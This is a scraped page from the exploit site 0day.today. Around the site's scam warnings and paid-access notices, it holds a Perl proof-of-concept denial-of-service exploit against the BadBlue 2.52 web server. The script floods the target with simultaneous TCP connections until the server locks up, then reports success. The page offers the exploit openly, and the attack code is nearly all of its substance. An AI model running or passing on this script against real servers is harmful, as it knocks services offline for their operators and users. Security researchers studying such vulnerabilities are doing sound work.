0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
BadBlue 2.52 Web Server Multiple Connections Denial of Service Exploit
====================================================================== BadBlue 2.52 Web Server Multiple Connections Denial of Service Exploit ====================================================================== #!/usr/bin/perl ############################################################## # BadBlue v2.52 Web Server - Multiple Connections DoS POC Code ############################################################## # BadBlue Web Server can not handle many simultaneous connects # from the same host, and will lock up until the connects stop ############################################################## # This Proof Of Concept Written By GulfTech Security Research ############################################################## use Strict; use Socket; use IO::Socket; my $host = $ARGV[0]; my $port = $ARGV[1]; my $stop = $ARGV[2]; my $size = 1000; my $prot = getprotobyname('tcp'); my $slep = $ARGV[3]; printf("================================================ "); printf(" BadBlue v2.52 Web Server Denial Of Service POC "); printf("================================================ "); printf(" Making %d Connections To %s ", $stop , $host); for ($i=1; $i<$stop; $i++) { socket($i, PF_INET, SOCK_STREAM, $prot ); my $dest = sockaddr_in ($port, inet_aton($host)); connect($i, $dest); } CheckServer($host, $i, $slep, $stop); KillThreads($stop); printf(" Exploit Attempt Unsuccesful"); exit; sub CheckServer($host, $i, $slep, $stop) { ($host, $i, $slep, $stop) = @_; $blank = "1512" x 2; $request = "GET / HTTP/1.0".$blank; $remote = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => $port, Timeout => '10000', Type => SOCK_STREAM, ); print $remote $request; unless ( <$remote> ) { printf(" Host %s Has Been Successfully DoS'ed ", $host); printf(" The Host Will Be Down For %d Seconds ", $slep); sleep($slep); KillThreads($stop); exit; } } sub KillThreads($stop) { $stop = @_; printf(" Killing All active Connections"); for ($l=1; $l<$stop; $l++) { shutdown($l,2)|| die("Couldn't Shut Down Socket"); $l++; } } # 0day.today [2024-12-25] #